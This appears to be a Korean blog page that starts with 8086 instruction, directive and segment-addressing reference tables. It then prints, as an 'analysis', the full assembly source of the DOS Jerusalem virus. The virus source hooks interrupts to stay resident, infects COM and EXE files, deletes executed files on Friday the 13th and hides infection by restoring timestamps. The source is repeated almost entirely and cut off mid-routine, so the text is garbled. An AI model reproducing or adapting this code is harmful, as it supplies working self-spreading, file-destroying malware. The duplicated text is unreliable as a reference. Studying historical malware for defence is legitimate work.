패리티 플레그가 1이면 분기
JO
Jump on Overflow
오버플로가 발생하면 분기
JS
Jump on Sign
부호 플레그가 1이면 분기
JNE/JNZ
Jump on not Equal / not Zero
결과가 0이 아니면 분기
JNL/JGE
Jump on not Less / Greater or Equal
결과가 크거나 같으면 분기 (부호화된 수)
JNLE/JG
Jump on not Less or Equal / Greater
결과가 크면 분기 (부호화된 수)
JNB/JAE
Jump on not Below / Above or Equal
결과가 크거나 같으면 분기 (부호화 안 된 수)
JNBE/JA
Jump on not Below or Equal / Above
결과가 크면 분기 (부호화 안 된 수)
JNP/JPO
Jump on not Parity / Parity odd
패리티 플레그가 0이면 분기
JNO
Jump on not Overflow
오버플로우가 아닌 경우 분기
JNS
Jump on not Sign
부호 플레그가 0이면 분기
LOOP
Loop CX times
CX를 1감소하면서 0이 될 때까지 지정된 라벨로 분기
LOOPZ/LOOPE
Loop while Zero / Equal
제로 플레그가 1이고 CX≠0이면 지정된 라벨로 분기
LOOPNZ/LOOPNE
Loop while not Zero / not Equal
제로 플레그가 0이고 CX≠0이면 지정된 라벨로 분기
JCXZ
Jump on CX Zero
CX가 0이면 분기
INT
Interrupt
인터럽트 실행
INTO
Interrupt on Overflow
오버플로우가 발생하면 인터럽트 실행
IRET
Interrupt Return
인터럽트 복귀 (리턴)
Processor Control
CLC
Clear Carry
캐리 플레그 클리어
CMC
Complement Carry
캐리 플레그를 반전
CLD
Clear Direction
디렉션 플레그를 클리어
CLI
Clear Interrupt
인터럽트 플레그를 클리어
HLT
Halt
정지
LOCK
Bus Lock prefix
STC
Set Carry
캐리 플레그 셋
NOP
No operation
STD
Set Direction
디렉션 플레그 셋
STI
Set Interrupt
인터럽트 인에이블 플레그 셋
WAIT
Wait
프로세서를 일지 정지 상태로 한다
ESC
Escape to External device
이스케이프 명령
2. 8086 어셈블러 지시어(Directive)
지시어
내 용
형 식
SEGMENT
-
END
어셈블리 프로그램은 한 개 이상의 세그먼트들로 구성된다. SEGMENT 지시어는 하나의 세그먼트를 정의한다.
segname SEGMENT ; 세그먼트 시작
⋮ ; 세그먼트 내용
segname ENDS ; 세그먼트 끝
PROC
-
ENDP
매크로 어셈블리에서는 프로그램의 실행 부분을 모듈로 작성할 수 있다. 이 모듈을 프로시저(Procedure)라 부르며, PROC 지시어가 이를 정의한다.
procname PROC ; 프로시저의 시작
⋮ ; 프로시저의 내용
procname ENDP ; 프로시저의 끝
ASSUME
어셈블러에게 세그먼트 레지스터와 사용자가 작성한 세그먼트의 이름을 연결시킨다.
ASSUME SS:stack_segname,
DS:data_segname,
CS:code_segname,
ES:extra_segname
END
전제 프로그램의 끝을 나타냄
END
데이터 정의 지시어 : 프로그램에서 데이터를 저장할 기억 장소를 정의, 초기값 부여
DB
Define Byte
name DB 초기값
DW
Define Word
name DW 초기값
DD
Define Double Word
name DD 초기값
DQ
Define Quad Word
name DQ 초기값
DT
Define Ten Bytes
name DT 초기값
EQU
변수 이름에 데이터값이나 문자열 정의
name EQU 데이터값/문자열
=
EQU와 달리 정의된 값을 변경 가능
EVEN
어셈블리시 이 지시어가 사용되는 곳의 주소가 짝수로 되도록 함
PAGE
어셈블리 리스트의 형식을 결정
PAGE [length][,width]
TITLE
어셈블리 리스트의 각 페이지에 제목 출력
TITLE text
※ 세그먼트(SEGMENT)와 오프셋(OFFSET)
16비트 레지스터를 사용하여 주소를 표현한다면, 216Byte = 65536 Byte = 64 KByte 의 주소 공간을 가질 수 있다. 그러나 지정 가능 주소 공간의 크기를 늘리기 위하여 '세그먼트', '오프셋'의 개념을 사용한다. 개념적으로는 메모리를 가리키는 화살표를 세그먼트(SEGMENT)라고 하고 그곳을 기준으로 떨어진 변위(DISPLACEMENT)를 오프셋(OFFSET)이라고 한다. 8086은 세그먼트를 16바이트 단위로 취하여 그곳으로부터 오프셋 지정으로 주소값을 얻는다.
세그먼트값 × 16 + 오프셋 = 실제주소
16을 곱한다는 것은 왼쪽으로 4번 시프트 한것과 같다. 이 때, 세그먼트 레지스터는 16비트이므로 실제 주소는 16비트를 왼쪽으로 4번 시프트한 20비트의 주소 공간을 가리킬 수 있게된다.
예를 들어, 세그먼트가 A000, 오프셋이 00FF 일 때 실제 주소 값은 다음과 같이 계산할 수 있다.
A
0
0
0
세그먼트
+
0
0
F
F
오프셋
A
0
0
F
F
실제 주소값
이러한 세그먼트, 오프셋에 의한 방식의 장점은 작은 레지스터 크기로도 넓은 주소 공간을 가리킬 수 있다는 것이다.
8086의 경우 20비트의 주소 공간이므로 220Byte = 1048576 Byte = 1 MByte 까지의 주소 공간을 가질 수 있다.
2009년 12월 19일 토요일
예루살렘 바이러스 소스 프로그램 분석
;----------------------------------------------------------------
; 예루살렘 바이러스 소스 프로그램 분석
;----------------------------------------------------------------
virus segment para 'virus'
assume cs:virus, ds:virus
start:
jmp virus_start
;----------------------------------------------------------------
; DATA 영역
;----------------------------------------------------------------
dw ?
virus_maker db 'MsDos' ;바이러스 식별자
file_ofs dw ?
file_seg dw ?
i_flage db ? ;13일의 금요일 처리 flag
d_f dw ?
d_11 dw ?
int8_ofs dw ?
int8_seg dw ?
int21_ofs dw ?
int21_seg dw ?
int24_ofs dw ?
int24_seg dw ?
d_1f dw ?
dd_rtn db 10h dup (?)
env_blk db 12h dup (?)
exe_si dw ?
exe_ss dw ?
exe_ip dw ?
exe_cm dw ?
intff db 3 dup (?)
file_id db ?
exe_header db 1ch dup (?)
file_5byte db 5 dup (?)
file_handle dw ? ;파일의 핸들로 사용
file_attr dw ? ;파일의 속성을 저장
file_date dw ? ;현재의 날짜
file_time dw ? ;현재의 시간
d_78 dw ?
d_7a dw ?
d_7c dw ?
d_7e dw ?
file_name dd ?
file_command db 'COMMAND.COM'
counter dw 100h ;시작 ip주소
dd ?
;----------------------------------------------------------------
; 바이러스 프로그램 시작
;----------------------------------------------------------------
virus_start:
cld ;디렉션 플레그를 0으로 초기화
;바이러스 프로그램 상주 여부 검사
mov ah, 0e0h ;ah=0e0h인 경우는 dos에서 사용 되지 않음
int 21h ;바이러스가 사용하여 ax=3000h로 리턴
cmp ah, 0e0h ;바이러스가 있는지 검사
jnb change_cs ;ah >= 0e0h인 경우는 바이러스가
;상주하지 않은 경우
cmp ah, 03h ;사용되지 않는다.
jb change_cs
mov ah, 0ddh ;ah=0ddh인 경우는 원래의 프로그램의 실행과 같은
mov di, 0100h ;환경을 만들어서 시작으로 jump하는 기능
mov si, 0710h ;따라서 바이러스가 상주하고 있으면 이곳에서
add si, di ;작업이 끝나고 원래의 화일이 실행됨
;바이러스가 만든 DD 루틴 실행
mov cx, word ptr cs:[di+offset d_11] ;cs레지스터의 보정
int 21h
;----------------------------------------------------------------
; 바이러스 상주 시키기
;----------------------------------------------------------------
change_cs:
mov ax, cs ;EXE file과 CS register를 통일하기 위해
add ax, 0010h ;retf 명령을 통해 CS 조정
mov ss, ax ;스택의 보정
mov sp, 0700h
push ax
mov ax, 00c5h
push ax
retf
l_1c5:
cld ;프로그램 로드 후 실행 루틴을 위한
mov cs:[0031h], es ;환경블럭 파라미터 만들기
mov cs:[0039h], es
mov cs:[003dh], es
mov cs:[0041h], es
mov ax, es
add ax, 0010h
add cs:[0049h], ax
add cs:[0045h], ax
mov ah, 0e0h ;바이러스 상주여부 검사
int 21h
cmp ah, 0e0h
jnb ram_virus ;바이러스 상주시키기 루틴으로 점프
cmp ah, 03h
pop es
mov ss, cs:[0045h]
mov sp, cs:[0043h]
jmp dword ptr cs:[0047h] ;점프 exe_ip
ram_virus:
xor ax, ax ;int ffh의 offset과 segment 저장
mov es, ax
mov ax, es:[03fch]
mov word ptr cs:intff, ax
mov al, es:[03feh]
mov byte ptr cs:intff[02h], al
mov word ptr es:[03fch], 0a5f3h ;rep movsw
mov byte ptr es:[03feh], 0cbh ;retf
pop ax
add ax, 0010h ;EXE형 화일과 COM형 화일의 cs register를 통일
mov es, ax
push cs
pop ds
mov cx, 0710h
shr cx, 1
xor si, si
mov di, si
push es
mov ax, 0142h
push ax
db 11101010b ;jmp 000:03fc
dw 03fch
dw 0000h
ret_f:
mov ax, cs ;스택 조정
mov ss, ax
mov sp, 0700h
xor ax, ax ;int ffh 내용 복구
mov ds, ax
mov ax, word ptr cs:intff
mov word ptr ds:[03fch], ax
mov al, cs:intff[02h]
mov byte ptr ds:[03feh], al
mov bx, sp
mov cl, 04h
shr bx, cl
add bx, 10h
mov cs:[0033h], bx
mov ah, 4ah
mov es, cs:[0031h]
int 21h
mov ax, 3521h ;int 21h 주소 저장
int 21h
mov word ptr cs:[0017h], bx
mov word ptr cs:[0019h], es
push cs ;int 21h 주소 바꾸기 (cs:35b)
pop ds
mov dx, 025bh
mov ax, 2521h
int 21h
mov es, ds:[0031h] ;es -> 환경블럭 segment
mov es, es:[002ch]
xor di, di
mov cx, 7fffh ;현재 path와 화일 이름 구하기
xor al, al
loop2: repnz scasb
cmp es:[di], al
loopnz loop2
mov dx, di ;화일 실행을 위한 파라미터 만들기
add dx, 03h ;ds=path명이 있는 곳의 segment
mov ax, 4b00h ;es=파라미터 블럭의 segment
push es ;ax=4b00h(로드후 실행)
pop ds ;bx=파라미터 블럭의 offset
push cs ;cx=관계없음
pop es ;dx=path명이 있는 곳의 offset
mov bx, 0035h
push ds ;register 대피
push es
push ax
push bx
push cx
push dx
mov ah, 2ah ;날짜, 시간 알아내기
int 21h
mov byte ptr cs:[00eh], 0 ;flag clear
cmp cx, 07c3h ;1987년 인가?
jz nochange_8h
cmp al, 05h ;금요일 인가?
jnz change_8h
cmp dl, 0dh ;13일 인가?
jnz change_8h
inc byte ptr cs:[00eh] ;flag set
jmp nochange_8h
change_8h:
mov ax, 3508h ;int 8h 주소 알아내기
int 21h
mov cs:[0013h], bx
mov cs:[0015h], es
push cs ;int 8h 주소 바꾸기
pop ds
mov word ptr ds:[001fh], 7e90h
mov ax, 2508h
mov dx, 021eh
int 21h
nochange_8h:
pop dx ;register 복구
pop cx
pop bx
pop ax
pop es
pop ds
pushf
call dword ptr cs:[0017h] ;원래 화일 실행
push ds ;메로리 회수
pop es
mov ah, 49h
int 21h
mov ah, 4dh
int 21h
mov ah, 31h
mov dx, 0600h
mov cl, 04h
shr dx, cl
add dx, 10h
int 21h
;----------------------------------------------------------------
; INT 24H Routine
;----------------------------------------------------------------
int_24h:
xor al, al ;error 처리 불가능 표시
iret
;----------------------------------------------------------------
; INT 8H Routine
;----------------------------------------------------------------
int_8h:
cmp word ptr cs:[001fh], 02h
jnz l_33d
push ax
push bx
push cx
push dx
push bp
mov ax, 0602h
mov bh, 87h
mov cx, 0505h
mov dx, 1010h
int 10h
pop bp
pop dx
pop cx
pop bx
pop ax
l_33d:
dec word ptr cs:[001fh]
jnz exit_8h
mov word ptr cs:[001fh], 0001h
push ax
push cx
push si
mov cx, 4001h
rep lodsb
pop si
pop cx
pop ax
exit_8h:
jmp dword ptr cs:[0013h]
;----------------------------------------------------------------
; INT 21H Routine
;----------------------------------------------------------------
int_21h:
pushf
cmp ah, 0e0h ;ah=e0 인 경우 => 바이러스 상주 표시
jnz l_366
mov ax, 0300h
popf
iret
l_366:
cmp ah, 0ddh ;각 바이러스 루틴으로 점프
jz r_dd
cmp ah, 0deh
jz r_de
cmp ax, 4b00h
jnz original_21h
jmp r_4b00
original_21h:
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행
;----------------------------------------------------------------
; AH := DD Routine
;----------------------------------------------------------------
r_dd:
pop ax ;원래 화일 실행
pop ax ;원래 화일을 100h 부터 쓴 다음
mov ax, 0100h ;화일 처음으로 점프
mov cs:[000ah], ax
pop ax
mov cs:[000ch], ax
rep movsb
popf
mov ax, cs:[000fh]
jmp dword ptr cs:[000ah]
;----------------------------------------------------------------
; AH := DE Routine
;----------------------------------------------------------------
r_de:
add sp, 06h
popf
mov ax, cs
mov ss, ax
mov sp, 0710h
push es
push es
xor di, di
push cs
pop es
mov cx, 0010h
mov si, bx
mov di, 0021h
rep movsb
mov ax, ds
mov es, ax
mul word ptr cs:[007ah]
add ax, cs:[002bh]
adc dx, +00
div word ptr cs:[007ah]
mov ds, ax
mov si, dx
mov di, dx
mov bp, es
mov bx, es:[002fh]
or bx, bx
jz l_3ed
l_3da:
mov cx, 8000h
rep movsw
add ax, 1000h
add bp, 1000h
mov ds, ax
mov es, bp
dec bx
jnz l_3da
l_3ed:
mov cx, cs:[003dh]
rep movsb
pop ax
push ax
add ax, 0010h
add cs:[0029h], ax
add cs:[0025h], ax
mov ax, cs:[0021h]
pop ds
pop es
mov ss, cs:[0029h]
mov sp, cs:[0027h]
jmp dword ptr cs:[0023h]
;----------------------------------------------------------------
; 13일의 금요일 처리 Routine
;----------------------------------------------------------------
fri_13:
xor cx, cx ;속성 바꾸기
mov ax, 4301h
int 21h
mov ah, 41h ;화일 지우기
int 21h
mov ax, 4b00h
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행
;----------------------------------------------------------------
; AX := 4B00H Routine
;----------------------------------------------------------------
r_4b00:
cmp byte ptr cs:[000eh], 01 ;13일의 금요일이면 화일 지우기
jz fri_13
mov word ptr cs:[0070h], 0ffffh ;file handle 저장
mov word ptr cs:[007fh], 0000 ;counter 초기화
mov cs:[0080h], dx ;화일 명칭 offset
mov cs:[0082h], ds ;화일 명칭 segment
push ax ;register 대피
push bx
push cx
push dx
push si
push di
push ds
push es
cld ;다른 드라이브의 화일인가?
mov di, dx
xor dl, dl
cmp byte ptr [di+01], 3ah ;3ah = ':'
jnz l_464
mov dl, [di] ;드라이브 번호 만들기
and dl, 1fh
l_464:
mov ah, 36h ;디스켓 용량 알아내기
int 21h
cmp ax, 0ffffh ;error이면 끝내기
jnz l_470
l_46d: jmp exit_2
l_470: mul bx ;용량이 충분한가?
mul cx
or dx, dx
jnz infect
cmp ax, 0710h
jb l_46d
;화일이 "COMMAND.COM" 인가를 확인
infect:
mov dx, word ptr cs:file_name ;화일 이름 알아내기
push ds
pop es
xor al, al
mov cx, 0041h
repnz scasb
mov si, word ptr cs:file_name ;화일 이름 대문자로 바꾸기
loop_ch:
mov al, [si]
or al, al
jz exit_ch
cmp al, 61h
jb inc_si
cmp al, 7ah
ja inc_si
sub byte ptr [si], 20h
inc_si:
inc si
jmp loop_ch
exit_ch:
mov cx, 000bh ;"COMMAND.COM" 인가?
sub si, cx
mov di, 0084h
push cs
pop es
mov cx, 000bh
repz cmpsb
jnz no_command
jmp exit_2
no_command:
mov ax, 4300h ;화일 속성 알아내기
int 21h
jb l_4c4
mov cs:[0072h], cs ;화일 속성 저장
l_4c4: jb l_4eb
xor al, al
mov cs:[004eh], al ;file flag clear
push ds ;화일 이름 끝으로 pointer 이동
pop es
mov di, dx
mov cx, 0041h
repnz scasb
cmp byte ptr [di-02], 4dh ;COM 형 화일
jz no_com
cmp byte ptr [di-02], 6dh
jz no_com
inc byte ptr cs:[0004eh] ;file flag set
no_com:
mov ax, 3d00h ;file open(read only)
int 21h
l_4eb: jb l_547
mov cs:[0070h], ax ;pointer를 화일 끝 5byte로 옮긴다.
mov bx, ax
mov cx, 0ffffh
mov dx, 0fffbh
int 21h
jb l_4eb
add ax, 0005h ;file size 저장
mov cs:[0011h], ax
mov cx, 0005h ;화일에서 5byte 읽기
mov dx, 006bh
mov ax, cs
mov ds, ax
mov es, ax
mov ah, 3fh
int 21h
mov di, dx ;바이러스 감염 여부 검사
mov si, 0005h
repz cmpsb
jnz no_infect
mov ah, 3eh ;file close, end
int 21h
jmp exit_2
no_infect:
mov ax, 3524h ;int 24h 주소 알아내기
int 21h
mov int24_ofs, bx
mov int24_seg, es
mov dx, 021bh ;int 24h 주소 바꾸기
mov ax, 2524h
int 21h
lds dx, dword ptr file_name ;화일 속성 바꾸기
xor cx, cx
mov ax, 4301h
int 21h
l_547: jb l_584
mov bx, cs:[0070h] ;file close
mov ah, 3eh
int 21h
mov word ptr cs:[0070h], 0ffffh ;file handle clear
mov ax, 3d02h ;file open(read/write)
int 21h
jb l_584
mov cs:[0070h], ax ;segment register set
mov ax, cs
mov ds, ax
mov es, ax
mov bx, [0070h] ;화일 날짜/시간 알아내기
mov ax, 5700h
int 21h
mov file_date, dx ;날짜/시간 저장
mov file_time, cx
mov ax, 4200h ;화일 처음으로 pointer 이동
xor cx, cx
mov dx, cx
int 21h
l_584: jb l_5e3
cmp file_id, 00 ;EXE or COM ?
jz com_proc
jmp exe_proc
;----------------------------------------------------------------
; COM 형 File 처리 Routine
;----------------------------------------------------------------
com_proc:
mov bx, 1000h ;메모리 할당(64k)
mov ah, 48h
int 21h
jnb memory_ok
mov ah, 3eh ;메모리 부족이면 끝냄
mov bx, [0070h] ;file close
int 21h
jmp exit_2
memory_ok:
inc counter ;counter 증가
mov es,ax ;할당된 메모리로 바이러스 프로그램 복사
xor si, si
mov di, di
mov cx, 0710h
rep movsb
mov dx, di ;file load
mov cx, [0011h]
mov bx, [0070h]
push es
pop ds
mov ah, 3fh
int 21h
l_5e3: jb l_5e1
add di, cx ;화일 처음으로 pointer 이동
xor cx, cx
mov dx, cx
mov ax, 4200h
int 21h
mov si, 0005h ;바이러스 식별자 넣기
mov cx, 0005h
db 0f3h, 2eh, 0a4h ;repz movsb(cs:)
mov cx, di ;화일 쓰기
xor dx, dx
mov ah, 40h
int 21h
l_5e1: jb l_5f0
jmp exit_1
;----------------------------------------------------------------
; EXE 형 File 처리 Routine
;----------------------------------------------------------------
exe_proc:
mov cx, 001ch ;file header 읽기
mov dx, offset exe_header
mov ah, 3fh
int 21h
l_5f0: jb l_63c
;----------------------------------------------------------------
; File header 조정, 저장
;----------------------------------------------------------------
mov word ptr exe_header[12h], 1984 ;checksum
mov ax, word ptr exe_header[0eh] ;ss저장
mov word ptr exe_ss, ax
mov ax, word ptr exe_header[10h] ;si저장
mov word ptr exe_si, ax
mov ax, word ptr exe_header[14h] ;ip저장
mov word ptr exe_ip, ax
mov ax, word ptr exe_header[16h] ;code module 저장
mov word ptr exe_cm, ax
mov ax, word ptr exe_header[04h] ;file sector 조정
cmp word ptr exe_header[02h], 00
jz no_dec
dec ax
no_dec:
mul word ptr d_78
add ax, word ptr exe_header[02h]
adc dx, 00
adc ax, 000fh
adc dx, 00
and ax, 0fff0h
mov word ptr d_7c, ax
mov word ptr d_7e, dx
add ax, 0710h
adc dx, 00
l_63c: jb l_678
div word ptr d_78
or dx, dx
jz no_inc
inc ax
no_inc:
mov word ptr exe_header[04h], ax
mov word ptr exe_header[02h], dx
mov ax, d_7c
mov dx, d_7e
div word ptr d_7a
sub ax, word ptr exe_header[08h]
mov word ptr exe_header[16h], ax
mov word ptr exe_header[14h], 00c5h
mov word ptr exe_header[0eh], ax
mov word ptr exe_header[10h], 0710h
xor cx, cx ;화일 처음으로 pointer 이동
mov dx, cx
mov ax, 4200h
int 21h
l_678: jb l_684
mov cx, 001ch ;변경된 화일 header 쓰기
mov dx, 004fh
mov ah, 40h
int 21h
l_684: jb l_697
cmp ax, cx ;if error then goto exit
jnz exit_1
mov dx, d_7c ;화일의 코드 끝으로 pointer 이동
mov cx, d_7e
mov ax, 4200h
int 21h
l_697: jb exit_1
xor dx, dx ;바이러스 프로그램 쓰기
;----------------------------------------------------------------
; 마무리 처리 Routine
;----------------------------------------------------------------
exit_1:
cmp counter, 00 ;counter check
jz l_6ae
mov ah, 49h ;할당 메모리 회수
int 21h
l_6ae:
cmp word ptr cs:file_handle, -01h ;file error 이면 끝
jz exit_2 ;(handle = ffff)
mov bx, cs:file_handle ;원래 화일의 시간과 날짜로 변경
mov dx, cs:[0074h] ;바이러스 감염을 숨기기위한 작업
mov cx, cs:[0076h]
mov ax, 5701h
int 21h
mov ah, 3eh ;file close
int 21h
lds dx, cs:[0080h] ;원래 화일 속성으로 복구
mov cx, cs:[0072h]
mov ax, 4301h
int 21h
lds dx, cs:[001bh] ;int 24h 복구
mov ax, 2524h
int 21h
;----------------------------------------------------------------
exit_2:
pop es ;Register 복구
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행
virus ends
; 예루살렘 바이러스 소스 프로그램 분석
;----------------------------------------------------------------
virus segment para 'virus'
assume cs:virus, ds:virus
start:
jmp virus_start
;----------------------------------------------------------------
; DATA 영역
;----------------------------------------------------------------
dw ?
virus_maker db 'MsDos' ;바이러스 식별자
file_ofs dw ?
file_seg dw ?
i_flage db ? ;13일의 금요일 처리 flag
d_f dw ?
d_11 dw ?
int8_ofs dw ?
int8_seg dw ?
int21_ofs dw ?
int21_seg dw ?
int24_ofs dw ?
int24_seg dw ?
d_1f dw ?
dd_rtn db 10h dup (?)
env_blk db 12h dup (?)
exe_si dw ?
exe_ss dw ?
exe_ip dw ?
exe_cm dw ?
intff db 3 dup (?)
file_id db ?
exe_header db 1ch dup (?)
file_5byte db 5 dup (?)
file_handle dw ? ;파일의 핸들로 사용
file_attr dw ? ;파일의 속성을 저장
file_date dw ? ;현재의 날짜
file_time dw ? ;현재의 시간
d_78 dw ?
d_7a dw ?
d_7c dw ?
d_7e dw ?
file_name dd ?
file_command db 'COMMAND.COM'
counter dw 100h ;시작 ip주소
dd ?
;----------------------------------------------------------------
; 바이러스 프로그램 시작
;----------------------------------------------------------------
virus_start:
cld ;디렉션 플레그를 0으로 초기화
;바이러스 프로그램 상주 여부 검사
mov ah, 0e0h ;ah=0e0h인 경우는 dos에서 사용 되지 않음
int 21h ;바이러스가 사용하여 ax=3000h로 리턴
cmp ah, 0e0h ;바이러스가 있는지 검사
jnb change_cs ;ah >= 0e0h인 경우는 바이러스가
;상주하지 않은 경우
cmp ah, 03h ;사용되지 않는다.
jb change_cs
mov ah, 0ddh ;ah=0ddh인 경우는 원래의 프로그램의 실행과 같은
mov di, 0100h ;환경을 만들어서 시작으로 jump하는 기능
mov si, 0710h ;따라서 바이러스가 상주하고 있으면 이곳에서
add si, di ;작업이 끝나고 원래의 화일이 실행됨
;바이러스가 만든 DD 루틴 실행
mov cx, word ptr cs:[di+offset d_11] ;cs레지스터의 보정
int 21h
;----------------------------------------------------------------
; 바이러스 상주 시키기
;----------------------------------------------------------------
change_cs:
mov ax, cs ;EXE file과 CS register를 통일하기 위해
add ax, 0010h ;retf 명령을 통해 CS 조정
mov ss, ax ;스택의 보정
mov sp, 0700h
push ax
mov ax, 00c5h
push ax
retf
l_1c5:
cld ;프로그램 로드 후 실행 루틴을 위한
mov cs:[0031h], es ;환경블럭 파라미터 만들기
mov cs:[0039h], es
mov cs:[003dh], es
mov cs:[0041h], es
mov ax, es
add ax, 0010h
add cs:[0049h], ax
add cs:[0045h], ax
mov ah, 0e0h ;바이러스 상주여부 검사
int 21h
cmp ah, 0e0h
jnb ram_virus ;바이러스 상주시키기 루틴으로 점프
cmp ah, 03h
pop es
mov ss, cs:[0045h]
mov sp, cs:[0043h]
jmp dword ptr cs:[0047h] ;점프 exe_ip
ram_virus:
xor ax, ax ;int ffh의 offset과 segment 저장
mov es, ax
mov ax, es:[03fch]
mov word ptr cs:intff, ax
mov al, es:[03feh]
mov byte ptr cs:intff[02h], al
mov word ptr es:[03fch], 0a5f3h ;rep movsw
mov byte ptr es:[03feh], 0cbh ;retf
pop ax
add ax, 0010h ;EXE형 화일과 COM형 화일의 cs register를 통일
mov es, ax
push cs
pop ds
mov cx, 0710h
shr cx, 1
xor si, si
mov di, si
push es
mov ax, 0142h
push ax
db 11101010b ;jmp 000:03fc
dw 03fch
dw 0000h
ret_f:
mov ax, cs ;스택 조정
mov ss, ax
mov sp, 0700h
xor ax, ax ;int ffh 내용 복구
mov ds, ax
mov ax, word ptr cs:intff
mov word ptr ds:[03fch], ax
mov al, cs:intff[02h]
mov byte ptr ds:[03feh], al
mov bx, sp
mov cl, 04h
shr bx, cl
add bx, 10h
mov cs:[0033h], bx
mov ah, 4ah
mov es, cs:[0031h]
int 21h
mov ax, 3521h ;int 21h 주소 저장
int 21h
mov word ptr cs:[0017h], bx
mov word ptr cs:[0019h], es
push cs ;int 21h 주소 바꾸기 (cs:35b)
pop ds
mov dx, 025bh
mov ax, 2521h
int 21h
mov es, ds:[0031h] ;es -> 환경블럭 segment
mov es, es:[002ch]
xor di, di
mov cx, 7fffh ;현재 path와 화일 이름 구하기
xor al, al
loop2: repnz scasb
cmp es:[di], al
loopnz loop2
mov dx, di ;화일 실행을 위한 파라미터 만들기
add dx, 03h ;ds=path명이 있는 곳의 segment
mov ax, 4b00h ;es=파라미터 블럭의 segment
push es ;ax=4b00h(로드후 실행)
pop ds ;bx=파라미터 블럭의 offset
push cs ;cx=관계없음
pop es ;dx=path명이 있는 곳의 offset
mov bx, 0035h
push ds ;register 대피
push es
push ax
push bx
push cx
push dx
mov ah, 2ah ;날짜, 시간 알아내기
int 21h
mov byte ptr cs:[00eh], 0 ;flag clear
cmp cx, 07c3h ;1987년 인가?
jz nochange_8h
cmp al, 05h ;금요일 인가?
jnz change_8h
cmp dl, 0dh ;13일 인가?
jnz change_8h
inc byte ptr cs:[00eh] ;flag set
jmp nochange_8h
change_8h:
mov ax, 3508h ;int 8h 주소 알아내기
int 21h
mov cs:[0013h], bx
mov cs:[0015h], es
push cs ;int 8h 주소 바꾸기
pop ds
mov word ptr ds:[001fh], 7e90h
mov ax, 2508h
mov dx, 021eh
int 21h
nochange_8h:
pop dx ;register 복구
pop cx
pop bx
pop ax
pop es
pop ds
pushf
call dword ptr cs:[0017h] ;원래 화일 실행
push ds ;메로리 회수
pop es
mov ah, 49h
int 21h
mov ah, 4dh
int 21h
mov ah, 31h
mov dx, 0600h
mov cl, 04h
shr dx, cl
add dx, 10h
int 21h
;----------------------------------------------------------------
; INT 24H Routine
;----------------------------------------------------------------
int_24h:
xor al, al ;error 처리 불가능 표시
iret
;----------------------------------------------------------------
; INT 8H Routine
;----------------------------------------------------------------
int_8h:
cmp word ptr cs:[001fh], 02h
jnz l_33d
push ax
push bx
push cx
push dx
push bp
mov ax, 0602h
mov bh, 87h
mov cx, 0505h
mov dx, 1010h
int 10h
pop bp
pop dx
pop cx
pop bx
pop ax
l_33d:
dec word ptr cs:[001fh]
jnz exit_8h
mov word ptr cs:[001fh], 0001h
push ax
push cx
push si
mov cx, 4001h
rep lodsb
pop si
pop cx
pop ax
exit_8h:
jmp dword ptr cs:[0013h]
;----------------------------------------------------------------
; INT 21H Routine
;----------------------------------------------------------------
int_21h:
pushf
cmp ah, 0e0h ;ah=e0 인 경우 => 바이러스 상주 표시
jnz l_366
mov ax, 0300h
popf
iret
l_366:
cmp ah, 0ddh ;각 바이러스 루틴으로 점프
jz r_dd
cmp ah, 0deh
jz r_de
cmp ax, 4b00h
jnz original_21h
jmp r_4b00
original_21h:
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행
;----------------------------------------------------------------
; AH := DD Routine
;----------------------------------------------------------------
r_dd:
pop ax ;원래 화일 실행
pop ax ;원래 화일을 100h 부터 쓴 다음
mov ax, 0100h ;화일 처음으로 점프
mov cs:[000ah], ax
pop ax
mov cs:[000ch], ax
rep movsb
popf
mov ax, cs:[000fh]
jmp dword ptr cs:[000ah]
;----------------------------------------------------------------
; AH := DE Routine
;----------------------------------------------------------------
r_de:
add sp, 06h
popf
mov ax, cs
mov ss, ax
mov sp, 0710h
push es
push es
xor di, di
push cs
pop es
mov cx, 0010h
mov si, bx
mov di, 0021h
rep movsb
mov ax, ds
mov es, ax
mul word ptr cs:[007ah]
add ax, cs:[002bh]
adc dx, +00
div word ptr cs:[007ah]
mov ds, ax
mov si, dx
mov di, dx
mov bp, es
mov bx, es:[002fh]
or bx, bx
jz l_3ed
l_3da:
mov cx, 8000h
rep movsw
add ax, 1000h
add bp, 1000h
mov ds, ax
mov es, bp
dec bx
jnz l_3da
l_3ed:
mov cx, cs:[003dh]
rep movsb
pop ax
push ax
add ax, 0010h
add cs:[0029h], ax
add cs:[0025h], ax
mov ax, cs:[0021h]
pop ds
pop es
mov ss, cs:[0029h]
mov sp, cs:[0027h]
jmp dword ptr cs:[0023h]
;----------------------------------------------------------------
; 13일의 금요일 처리 Routine
;----------------------------------------------------------------
fri_13:
xor cx, cx ;속성 바꾸기
mov ax, 4301h
int 21h
mov ah, 41h ;화일 지우기
int 21h
mov ax, 4b00h
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행
;----------------------------------------------------------------
; AX := 4B00H Routine
;----------------------------------------------------------------
r_4b00:
cmp byte ptr cs:[000eh], 01 ;13일의 금요일이면 화일 지우기
jz fri_13
mov word ptr cs:[0070h], 0ffffh ;file handle 저장
mov word ptr cs:[007fh], 0000 ;counter 초기화
mov cs:[0080h], dx ;화일 명칭 offset
mov cs:[0082h], ds ;화일 명칭 segment
push ax ;register 대피
push bx
push cx
push dx
push si
push di
push ds
push es
cld ;다른 드라이브의 화일인가?
mov di, dx
xor dl, dl
cmp byte ptr [di+01], 3ah ;3ah = ':'
jnz l_464
mov dl, [di] ;드라이브 번호 만들기
and dl, 1fh
l_464:
mov ah, 36h ;디스켓 용량 알아내기
int 21h
cmp ax, 0ffffh ;error이면 끝내기
jnz l_470
l_46d: jmp exit_2
l_470: mul bx ;용량이 충분한가?
mul cx
or dx, dx
jnz infect
cmp ax, 0710h
jb l_46d
;화일이 "COMMAND.COM" 인가를 확인
infect:
mov dx, word ptr cs:file_name ;화일 이름 알아내기
push ds
pop es
xor al, al
mov cx, 0041h
repnz scasb
mov si, word ptr cs:file_name ;화일 이름 대문자로 바꾸기
loop_ch:
mov al, [si]
or al, al
jz exit_ch
cmp al, 61h
jb inc_si
cmp al, 7ah
ja inc_si
sub byte ptr [si], 20h
inc_si:
inc si
jmp loop_ch
exit_ch:
mov cx, 000bh ;"COMMAND.COM" 인가?
sub si, cx
mov di, 0084h
push cs
pop es
mov cx, 000bh
repz cmpsb
